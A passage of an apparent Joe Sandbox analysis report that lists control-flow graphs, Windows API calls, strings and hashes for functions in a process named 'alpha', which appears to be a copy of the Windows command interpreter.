                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
                                                                                      • String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
                                                                                      • API String ID: 1049357271-3021193919
                                                                                      • Opcode ID: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                                                      • Instruction ID: 0108de2cbf5b91e3ed77f7cc08c261ab4d64db0635d98fb17a0c9e27e80e52a8
                                                                                      • Opcode Fuzzy Hash: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                                                      • Instruction Fuzzy Hash: 2CC16623A08A8396FA04BB11E8111B9F7A1FF85B91FE59134EA0E47795DF3CE549C360
                                                                                      Function 00007FF78CF53C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 732 7ff78cf53c24-7ff78cf53c61 733 7ff78cf53c67-7ff78cf53c99 call 7ff78cf4af14 call 7ff78cf4ca40 732->733 734 7ff78cf5ec5a-7ff78cf5ec5f 732->734 743 7ff78cf5ec97-7ff78cf5eca1 call 7ff78cf5855c 733->743 744 7ff78cf53c9f-7ff78cf53cb2 call 7ff78cf4b900 733->744 734->733 736 7ff78cf5ec65-7ff78cf5ec6a 734->736 738 7ff78cf5412e-7ff78cf5415b call 7ff78cf58f80 736->738 744->743 749 7ff78cf53cb8-7ff78cf53cbc 744->749 750 7ff78cf53cbf-7ff78cf53cc7 749->750 750->750 751 7ff78cf53cc9-7ff78cf53ccd 750->751 752 7ff78cf53cd2-7ff78cf53cd8 751->752 753 7ff78cf53cda-7ff78cf53cdf 752->753 754 7ff78cf53ce5-7ff78cf53d62 GetCurrentDirectoryW towupper iswalpha 752->754 753->754 755 7ff78cf53faa-7ff78cf53fb3 753->755 756 7ff78cf53fb8 754->756 757 7ff78cf53d68-7ff78cf53d6c 754->757 755->752 759 7ff78cf53fc6-7ff78cf53fec GetLastError call 7ff78cf5855c call 7ff78cf5a5d6 756->759 757->756 758 7ff78cf53d72-7ff78cf53dcd towupper GetFullPathNameW 757->758 758->759 760 7ff78cf53dd3-7ff78cf53ddd 758->760 763 7ff78cf53ff1-7ff78cf54007 call 7ff78cf5855c _local_unwind 759->763 762 7ff78cf53de3-7ff78cf53dfb 760->762 760->763 765 7ff78cf540fe-7ff78cf54119 call 7ff78cf5855c _local_unwind 762->765 766 7ff78cf53e01-7ff78cf53e11 762->766 774 7ff78cf5400c-7ff78cf54022 GetLastError 763->774 775 7ff78cf5411a-7ff78cf5412c call 7ff78cf4ff70 call 7ff78cf5855c 765->775 766->765 769 7ff78cf53e17-7ff78cf53e28 766->769 773 7ff78cf53e2c-7ff78cf53e34 769->773 773->773 776 7ff78cf53e36-7ff78cf53e3f 773->776 777 7ff78cf54028-7ff78cf5402b 774->777 778 7ff78cf53e95-7ff78cf53e9c 774->778 775->738 780 7ff78cf53e42-7ff78cf53e55 776->780 777->778 781 7ff78cf54031-7ff78cf54047 call 7ff78cf5855c _local_unwind 777->781 782 7ff78cf53e9e-7ff78cf53ec2 call 7ff78cf52978 778->782 783 7ff78cf53ecf-7ff78cf53ed3 778->783 788 7ff78cf53e57-7ff78cf53e60 780->788 789 7ff78cf53e66-7ff78cf53e8f GetFileAttributesW 780->789 799 7ff78cf5404c-7ff78cf54062 call 7ff78cf5855c _local_unwind 781->799 791 7ff78cf53ec7-7ff78cf53ec9 782->791 786 7ff78cf53f08-7ff78cf53f0b 783->786 787 7ff78cf53ed5-7ff78cf53ef7 GetFileAttributesW 783->787 795 7ff78cf53f0d-7ff78cf53f11 786->795 796 7ff78cf53f1e-7ff78cf53f40 SetCurrentDirectoryW 786->796 793 7ff78cf53efd-7ff78cf53f02 787->793 794 7ff78cf54067-7ff78cf54098 GetLastError call 7ff78cf5855c _local_unwind 787->794 788->789 797 7ff78cf53f9d-7ff78cf53fa5 788->797 789->774 789->778 791->783 791->799 793->786 802 7ff78cf5409d-7ff78cf540b3 call 7ff78cf5855c _local_unwind 793->802 794->802 803 7ff78cf53f13-7ff78cf53f1c 795->803 804 7ff78cf53f46-7ff78cf53f69 call 7ff78cf5498c 795->804 796->804 805 7ff78cf540b8-7ff78cf540de GetLastError call 7ff78cf5855c _local_unwind 796->805 797->780 799->794 802->805 803->796 803->804 815 7ff78cf540e3-7ff78cf540f9 call 7ff78cf5855c _local_unwind 804->815 816 7ff78cf53f6f-7ff78cf53f98 call 7ff78cf5417c 804->816 805->815 815->765 816->775
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
                                                                                      • String ID: :
                                                                                      • API String ID: 1809961153-336475711
                                                                                      • Opcode ID: db7a8accf24e76443df151eec26ec66c8909a5ebe3ef3b4491d16ca320e82ff4
                                                                                      • Instruction ID: 623173748885f61565a2389aa35ef6517fd41fee1119237887559f4c34aa59ee
                                                                                      • Opcode Fuzzy Hash: db7a8accf24e76443df151eec26ec66c8909a5ebe3ef3b4491d16ca320e82ff4
                                                                                      • Instruction Fuzzy Hash: 47D15E2360DB8592FA20EB15E4452B9F7A1FB85750FA48135DB4E837A9DF3CE648CB10
                                                                                      Function 00007FF78CF52394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 914 7ff78cf52394-7ff78cf52416 memset call 7ff78cf4ca40 917 7ff78cf5241c-7ff78cf52453 GetModuleFileNameW call 7ff78cf5081c 914->917 918 7ff78cf5e0d2-7ff78cf5e0da call 7ff78cf54c1c 914->918 923 7ff78cf5e0db-7ff78cf5e0ee call 7ff78cf5498c 917->923 924 7ff78cf52459-7ff78cf52468 call 7ff78cf5081c 917->924 918->923 930 7ff78cf5e0f4-7ff78cf5e107 call 7ff78cf5498c 923->930 929 7ff78cf5246e-7ff78cf5247d call 7ff78cf5081c 924->929 924->930 935 7ff78cf52483-7ff78cf52492 call 7ff78cf5081c 929->935 936 7ff78cf52516-7ff78cf52529 call 7ff78cf5498c 929->936 939 7ff78cf5e10d-7ff78cf5e123 930->939 935->939 946 7ff78cf52498-7ff78cf524a7 call 7ff78cf5081c 935->946 936->935 942 7ff78cf5e125-7ff78cf5e139 wcschr 939->942 943 7ff78cf5e13f-7ff78cf5e17a _wcsupr 939->943 942->943 947 7ff78cf5e27c 942->947 944 7ff78cf5e17c-7ff78cf5e17f 943->944 945 7ff78cf5e181-7ff78cf5e199 wcsrchr 943->945 948 7ff78cf5e19c 944->948 945->948 955 7ff78cf524ad-7ff78cf524c5 call 7ff78cf53c24 946->955 956 7ff78cf5e2a1-7ff78cf5e2c3 _wcsicmp 946->956 950 7ff78cf5e283-7ff78cf5e29b call 7ff78cf5498c 947->950 951 7ff78cf5e1a0-7ff78cf5e1a7 948->951 950->956 951->951 954 7ff78cf5e1a9-7ff78cf5e1bb 951->954 958 7ff78cf5e264-7ff78cf5e277 call 7ff78cf51300 954->958 959 7ff78cf5e1c1-7ff78cf5e1e6 954->959 964 7ff78cf524ca-7ff78cf524db 955->964 958->947 962 7ff78cf5e1e8-7ff78cf5e1f1 959->962 963 7ff78cf5e21a 959->963 965 7ff78cf5e1f3-7ff78cf5e1f6 962->965 966 7ff78cf5e201-7ff78cf5e210 962->966 969 7ff78cf5e21d-7ff78cf5e21f 963->969 967 7ff78cf524dd-7ff78cf524e4 ??_V@YAXPEAX@Z 964->967 968 7ff78cf524e9-7ff78cf52514 call 7ff78cf58f80 964->968 965->966 970 7ff78cf5e1f8-7ff78cf5e1ff 965->970 966->963 971 7ff78cf5e212-7ff78cf5e218 966->971 967->968 969->950 973 7ff78cf5e221-7ff78cf5e228 969->973 970->965 970->966 971->969 975 7ff78cf5e22a-7ff78cf5e231 973->975 976 7ff78cf5e254-7ff78cf5e262 973->976 977 7ff78cf5e234-7ff78cf5e237 975->977 976->947 977->976 978 7ff78cf5e239-7ff78cf5e242 977->978 978->976 979 7ff78cf5e244-7ff78cf5e252 978->979 979->976 979->977
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
                                                                                      • String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
                                                                                      • API String ID: 2622545777-4197029667
                                                                                      • Opcode ID: bd59c29d01747683900c9969ab54c99ddb5983c61e93a73bd4a825f93bf20993
                                                                                      • Instruction ID: c80ac01a833e20950c830774fe39add341617061421a5d8112d34928cfe246f6
                                                                                      • Opcode Fuzzy Hash: bd59c29d01747683900c9969ab54c99ddb5983c61e93a73bd4a825f93bf20993
                                                                                      • Instruction Fuzzy Hash: A4917F63B09B8286FE24AB50D8552F8A7A0FF48B84FE54135DB0E87695DF3CE605C720
                                                                                      Function 00007FF78CF50580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleMode_get_osfhandle
                                                                                      • String ID: CMD.EXE
                                                                                      • API String ID: 1606018815-3025314500
                                                                                      • Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                                                      • Instruction ID: e7c227dd3274ac0cc14c34fd82685bc86fecd1104ec811e10d15280bdfe79327
                                                                                      • Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                                                      • Instruction Fuzzy Hash: 7A41D332A19A42DBF7146B14E9551B8FBA0FF89751FE8C279D60E433A0DF3CA518C621
                                                                                      Function 00007FF78CF4C620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 992 7ff78cf4c620-7ff78cf4c66f GetConsoleTitleW 993 7ff78cf4c675-7ff78cf4c687 call 7ff78cf4af14 992->993 994 7ff78cf5c5f2 992->994 999 7ff78cf4c68e-7ff78cf4c69d call 7ff78cf4ca40 993->999 1000 7ff78cf4c689 993->1000 996 7ff78cf5c5fc-7ff78cf5c60c GetLastError 994->996 998 7ff78cf5c5e3 call 7ff78cf43278 996->998 1004 7ff78cf5c5e8-7ff78cf5c5ed call 7ff78cf5855c 998->1004 999->1004 1005 7ff78cf4c6a3-7ff78cf4c6ac 999->1005 1000->999 1004->994 1007 7ff78cf4c954-7ff78cf4c95e call 7ff78cf5291c 1005->1007 1008 7ff78cf4c6b2-7ff78cf4c6c5 call 7ff78cf4b9c0 1005->1008 1013 7ff78cf5c5de-7ff78cf5c5e0 1007->1013 1014 7ff78cf4c964-7ff78cf4c972 call 7ff78cf489c0 1007->1014 1015 7ff78cf4c6cb-7ff78cf4c6ce 1008->1015 1016 7ff78cf4c9b5-7ff78cf4c9b8 call 7ff78cf55c6c 1008->1016 1013->998 1014->996 1024 7ff78cf4c978-7ff78cf4c99a towupper 1014->1024 1015->1004 1018 7ff78cf4c6d4-7ff78cf4c6e9 1015->1018 1023 7ff78cf4c9bd-7ff78cf4c9c9 call 7ff78cf5855c 1016->1023 1021 7ff78cf5c616-7ff78cf5c620 call 7ff78cf5855c 1018->1021 1022 7ff78cf4c6ef-7ff78cf4c6fa 1018->1022 1025 7ff78cf5c627 1021->1025 1022->1025 1026 7ff78cf4c700-7ff78cf4c713 1022->1026 1039 7ff78cf4c9d0-7ff78cf4c9d7 1023->1039 1029 7ff78cf4c9a0-7ff78cf4c9a9 1024->1029 1031 7ff78cf5c631 1025->1031 1030 7ff78cf4c719-7ff78cf4c72c 1026->1030 1026->1031 1029->1029 1034 7ff78cf4c9ab-7ff78cf4c9af 1029->1034 1035 7ff78cf5c63b 1030->1035 1036 7ff78cf4c732-7ff78cf4c747 call 7ff78cf4d3f0 1030->1036 1031->1035 1034->1016 1037 7ff78cf5c60e-7ff78cf5c611 call 7ff78cf6ec14 1034->1037 1040 7ff78cf5c645 1035->1040 1046 7ff78cf4c8ac-7ff78cf4c8af 1036->1046 1047 7ff78cf4c74d-7ff78cf4c750 1036->1047 1037->1021 1043 7ff78cf4c9dd-7ff78cf5c6da SetConsoleTitleW 1039->1043 1044 7ff78cf4c872-7ff78cf4c8aa call 7ff78cf5855c call 7ff78cf58f80 1039->1044 1050 7ff78cf5c64e-7ff78cf5c651 1040->1050 1043->1044 1046->1047 1049 7ff78cf4c8b5-7ff78cf4c8d3 wcsncmp 1046->1049 1051 7ff78cf4c76a-7ff78cf4c76d 1047->1051 1052 7ff78cf4c752-7ff78cf4c764 call 7ff78cf4bd38 1047->1052 1049->1051 1057 7ff78cf4c8d9 1049->1057 1058 7ff78cf4c80d-7ff78cf4c811 1050->1058 1059 7ff78cf5c657-7ff78cf5c65b 1050->1059 1055 7ff78cf4c773-7ff78cf4c77a 1051->1055 1056 7ff78cf4c840-7ff78cf4c84b call 7ff78cf4cb40 1051->1056 1052->1004 1052->1051 1063 7ff78cf4c780-7ff78cf4c784 1055->1063 1077 7ff78cf4c84d-7ff78cf4c855 call 7ff78cf4cad4 1056->1077 1078 7ff78cf4c856-7ff78cf4c86c 1056->1078 1057->1047 1065 7ff78cf4c817-7ff78cf4c81b 1058->1065 1066 7ff78cf4c9e2-7ff78cf4c9e7 1058->1066 1059->1058 1070 7ff78cf4c83d 1063->1070 1071 7ff78cf4c78a-7ff78cf4c7a4 wcschr 1063->1071 1067 7ff78cf4ca1b-7ff78cf4ca1f 1065->1067 1068 7ff78cf4c821 1065->1068 1066->1065 1069 7ff78cf4c9ed-7ff78cf4c9f7 call 7ff78cf5291c 1066->1069 1067->1068 1079 7ff78cf4ca25-7ff78cf5c6b3 call 7ff78cf43278 1067->1079 1073 7ff78cf4c824-7ff78cf4c82d 1068->1073 1086 7ff78cf4c9fd-7ff78cf4ca00 1069->1086 1087 7ff78cf5c684-7ff78cf5c698 call 7ff78cf43278 1069->1087 1070->1056 1075 7ff78cf4c8de-7ff78cf4c8f7 1071->1075 1076 7ff78cf4c7aa-7ff78cf4c7ad 1071->1076 1073->1073 1080 7ff78cf4c82f-7ff78cf4c837 1073->1080 1082 7ff78cf4c900-7ff78cf4c908 1075->1082 1083 7ff78cf4c7b0-7ff78cf4c7b8 1076->1083 1077->1078 1078->1039 1078->1044 1079->1004 1080->1063 1080->1070 1082->1082 1088 7ff78cf4c90a-7ff78cf4c915 1082->1088 1083->1083 1089 7ff78cf4c7ba-7ff78cf4c7c7 1083->1089 1086->1065 1093 7ff78cf4ca06-7ff78cf4ca10 call 7ff78cf489c0 1086->1093 1087->1004 1094 7ff78cf4c917 1088->1094 1095 7ff78cf4c93a-7ff78cf4c944 1088->1095 1089->1050 1096 7ff78cf4c7cd-7ff78cf4c7db 1089->1096 1093->1065 1111 7ff78cf4ca16-7ff78cf5c67f GetLastError call 7ff78cf43278 1093->1111 1100 7ff78cf4c920-7ff78cf4c928 1094->1100 1103 7ff78cf4ca2a-7ff78cf4ca2f call 7ff78cf59158 1095->1103 1104 7ff78cf4c94a 1095->1104 1101 7ff78cf4c7e0-7ff78cf4c7e7 1096->1101 1106 7ff78cf4c92a-7ff78cf4c92f 1100->1106 1107 7ff78cf4c932-7ff78cf4c938 1100->1107 1108 7ff78cf4c7e9-7ff78cf4c7f1 1101->1108 1109 7ff78cf4c800-7ff78cf4c803 1101->1109 1103->1013 1104->1007 1106->1107 1107->1095 1107->1100 1108->1109 1112 7ff78cf4c7f3-7ff78cf4c7fe 1108->1112 1109->1040 1113 7ff78cf4c809 1109->1113 1111->1004 1112->1101 1112->1109 1113->1058
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleTitlewcschr
                                                                                      • String ID: /$:
                                                                                      • API String ID: 2364928044-4222935259
                                                                                      • Opcode ID: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
                                                                                      • Instruction ID: 822d3141db4d87965a01b035349271acd8870183dda649b4fc5ac8dcfefd36de
                                                                                      • Opcode Fuzzy Hash: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
                                                                                      • Instruction Fuzzy Hash: 66C1E363E0864292FB24BB15D404BB9E6A1FF44B90FE5A131DA1E4B2D5DF3CE544C320
                                                                                      Function 00007FF78CF58D80 Relevance: 9.1, APIs: 6, Instructions: 95sleepCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1171 7ff78cf58d80-7ff78cf58da2 1172 7ff78cf58da4-7ff78cf58daf 1171->1172 1173 7ff78cf58dcc 1172->1173 1174 7ff78cf58db1-7ff78cf58db4 1172->1174 1177 7ff78cf58dd1-7ff78cf58dd9 1173->1177 1175 7ff78cf58db6-7ff78cf58dbd 1174->1175 1176 7ff78cf58dbf-7ff78cf58dca Sleep 1174->1176 1175->1177 1176->1172 1178 7ff78cf58ddb-7ff78cf58de5 _amsg_exit 1177->1178 1179 7ff78cf58de7-7ff78cf58def 1177->1179 1180 7ff78cf58e4c-7ff78cf58e54 1178->1180 1181 7ff78cf58e46 1179->1181 1182 7ff78cf58df1-7ff78cf58e0a 1179->1182 1183 7ff78cf58e73-7ff78cf58e75 1180->1183 1184 7ff78cf58e56-7ff78cf58e69 _initterm 1180->1184 1181->1180 1185 7ff78cf58e0e-7ff78cf58e11 1182->1185 1188 7ff78cf58e77-7ff78cf58e79 1183->1188 1189 7ff78cf58e80-7ff78cf58e88 1183->1189 1184->1183 1186 7ff78cf58e38-7ff78cf58e3a 1185->1186 1187 7ff78cf58e13-7ff78cf58e15 1185->1187 1186->1180 1190 7ff78cf58e3c-7ff78cf58e41 1186->1190 1187->1190 1191 7ff78cf58e17-7ff78cf58e1b 1187->1191 1188->1189 1192 7ff78cf58e8a-7ff78cf58e98 call 7ff78cf594f0 1189->1192 1193 7ff78cf58eb4-7ff78cf58ec8 call 7ff78cf537d8 1189->1193 1197 7ff78cf58f28-7ff78cf58f3d 1190->1197 1194 7ff78cf58e2d-7ff78cf58e36 1191->1194 1195 7ff78cf58e1d-7ff78cf58e29 1191->1195 1192->1193 1201 7ff78cf58e9a-7ff78cf58eaa 1192->1201 1200 7ff78cf58ecd-7ff78cf58eda 1193->1200 1194->1185 1195->1194 1203 7ff78cf58edc-7ff78cf58ede exit 1200->1203 1204 7ff78cf58ee4-7ff78cf58eeb 1200->1204 1201->1193 1203->1204 1205 7ff78cf58eed-7ff78cf58ef3 _cexit 1204->1205 1206 7ff78cf58ef9 1204->1206 1205->1206 1206->1197
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
                                                                                      • String ID:
                                                                                      • API String ID: 4291973834-0
                                                                                      • Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                                                      • Instruction ID: 6b75529e4fd3787f0cfe50af97a6941356991d29cc01fea07a58f9c926c99c61
                                                                                      • Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                                                      • Instruction Fuzzy Hash: F041E733A4868387FA50BB54E8422B5A2A0BF44344FF44435EB2D97AA0DF7DEA44C760
                                                                                      Function 00007FF78CF54A14 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1207 7ff78cf54a14-7ff78cf54a3e GetEnvironmentStringsW 1208 7ff78cf54aae-7ff78cf54ac5 1207->1208 1209 7ff78cf54a40-7ff78cf54a46 1207->1209 1210 7ff78cf54a48-7ff78cf54a52 1209->1210 1211 7ff78cf54a59-7ff78cf54a8f GetProcessHeap HeapAlloc 1209->1211 1210->1210 1212 7ff78cf54a54-7ff78cf54a57 1210->1212 1213 7ff78cf54a9f-7ff78cf54aa9 FreeEnvironmentStringsW 1211->1213 1214 7ff78cf54a91-7ff78cf54a9a memmove 1211->1214 1212->1210 1212->1211 1213->1208 1214->1213
                                                                                      APIs
                                                                                      • GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A28
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A66
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A7D
                                                                                      • memmove.MSVCRT(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A9A
                                                                                      • FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54AA2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
                                                                                      • String ID:
                                                                                      • API String ID: 1623332820-0
                                                                                      • Opcode ID: 7b7d5cd90c4b7fc4a2429fe2183f3170931abb96c0362b724e039f9c86480d2b
                                                                                      • Instruction ID: 9f98a0e46f02cd84d488ad48d76e5c1cbae267c25789475bc16c172c1e0f0410
                                                                                      • Opcode Fuzzy Hash: 7b7d5cd90c4b7fc4a2429fe2183f3170931abb96c0362b724e039f9c86480d2b
                                                                                      • Instruction Fuzzy Hash: 8B119127A18B8282EE54AF42A404039FFA0FB89F80BA99038DF4E53744DE3DE445C760
                                                                                      Function 00007FF78CF55CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
